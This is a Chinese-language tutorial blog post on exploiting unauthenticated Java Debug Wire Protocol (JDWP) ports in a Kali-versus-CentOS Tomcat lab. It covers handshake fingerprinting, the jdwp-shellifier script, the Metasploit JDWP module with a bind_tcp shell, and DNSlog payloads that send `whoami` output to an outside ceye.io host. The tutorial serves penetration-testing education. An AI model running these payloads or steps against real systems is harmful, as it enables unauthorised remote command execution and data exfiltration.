JDWP簡介
這裏首先要說明一下 debugger 和 target vm。Target vm 中運行着我們希望要調試的程序,它與一般運行的 Java 虛擬機沒有什麼區別,只是在啓動時加載了 Agent JDWP 從而具備了調試功能。而 debugger 就是我們熟知的調試器,它向運行中的 target vm 發送命令來獲取 target vm 運行時的狀態和控制 Java 程序的執行。Debugger 和 target vm 分別在各自的進程中運行,他們之間的通信協議就是 JDWP。
JDWP的握手協議
JDWP 大致分爲兩個階段:握手和應答。握手是在傳輸層連接建立完成後,做的第一件事,Debugger 發送 14 bytes 的字符串“JDWP-Handshake”到 target Java 虛擬機Target Java 虛擬機回覆“JDWP-Handshake”
JDWPagent 在調試中扮演的角色
實驗環境搭建
攻擊機器kali IP:192.168.204.128
靶機centos7 IP:192.168.204.133
-
wget下載Tomcat安裝包wgethttp://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz
-
解壓安裝包tar zxvf apache-tomcat-8.5.43.tar.gz
-
將程序複製到指定運行目錄sudo mv apache-tomcat-8.5.43 /usr/local/tomcat8
-
進入bin目錄 cd bin
-
找到catalina.sh文件首行添加declare -xCATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"
-
使用./startup.sh啓動Tomcat
JDWP服務的指紋發現
我們先用namp掃描試試看
Nmap沒有輸出詳細的端口服務,我們重新掃描一下
我們使用telnet ip port 然後快速發送JDWP-Handshake來進行簡單驗證是否存在未授權漏洞,如果服務器也返回了JDWP-Handshake那麼十有八九就存在該漏洞了
漏洞利用辦法
-
使用jdwp-shellifier腳本進行命令執行
-
使用metasploit進行漏洞利用
-
使用IntelliJ IDEA編輯器進行利用(篇幅較大 準備下次細講)
下面我們給大家演示使用jdwp-shellifier腳本對JDWP協議未授權訪問漏洞進行命令執行操作,首先我們需要到達https://github.com/IOActive/jdwp-shellifier下載腳本
閱讀作者的README.md就可以知道使用腳本的命令格式
我們來對我們的目標IP進行嘗試利用
們使用dnslog嘗試測試 工具網址http://ceye.io/records/dns
可以看到上面是沒有返回目錄信息的,下面我們通過ceye.io提供的測試payloads進行測試
Liunx常見payloads
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
windows常見payloads
ping%USERNAME%.b182oj.ceye.io
下面我們開始用Metasploit對JDWP這個漏洞進行利用
我們使用msfconsole啓動Metasploit,並且選用exploit/multi/misc/java_jdwp_debugger漏洞利用模塊
使用info可以查看當前的漏洞EXP信息
我們設置好靶機的IP和漏洞應用端口
劃重點:
由於我們平常進行安全測試或者滲透測試工作,很多都在甲方工作,我們工作的網絡環境會很複雜,筆者的筆記本接入到公司網絡中的時候,准入軟件和安全軟件都不讓我建立一個nc監聽端口,通常我們測試的時候很多時候用KALI系統也沒有內網IP,那麼我們反彈的時候只有在公網建立一個Metasploit監聽端口,一些環境做了網絡隔離還不能連接公網,那麼我們這個時候只有選用正向連接後門了,下面我畫圖給大家演示一下大概的意思。
常見木馬分類
Msfvenom方便生成的常見的Meterpreter正向和反向連接後門
-
reverse_tcp
-
reverse_http
-
reverse_https
-
bind_tcp
-
日常工作中常見的就是這幾種類型的後門,其中只有bind_tcp是正向連接的
我們在當前的EXP中使用showpayloads查看該EXP支持哪些載荷也就是後門
我們設置EXP使用payloadlinux/x64/shell/bind_tcp載荷
現在我們所有的配置都完成了,最後只要輸入run就可以直接執行了,下面我們看看執行的過程
通過以上內容我們簡單的介紹了JDWP漏洞信息,也通過實例介紹了兩種利用方法。jdwp-shellifier.py腳本的優點是容易部署和利用,缺點是沒有執行回顯。Metasploit的JDWP利用模塊使用起來簡單快捷並且可以執行系統命令,但是kali系統在一些環境中使用顯得有些臃腫,平時自己用的時候針對相應場景選用即可。好了今天的文章就到這裏了,不久我會寫一篇使用IntelliJ IDEA編輯器進行利用JDWP漏洞,詳細的描述一下漏洞的利用原理和經過。
(喜歡請轉發,謝謝!)
加入愛測未來qq羣,獲取更專業的技術知識分享:
274166295 (愛測未來二羣)
610934609 (愛測未來三羣)
195730410 (愛測未來四羣)
更多精彩文章:
性能分析之激情的過程無奈的結局談談從事IT測試行業的我,對於買房買車有什麼樣的感受
性能平臺之Jmeter通過influxdb在Grafana中的數據展現邏輯
——————————————————
愛測未來公衆號 WX:itest_forever
測試之道 | 測試技術
長按識別二維碼,關注愛測未來公衆號,瞭解更多精彩內容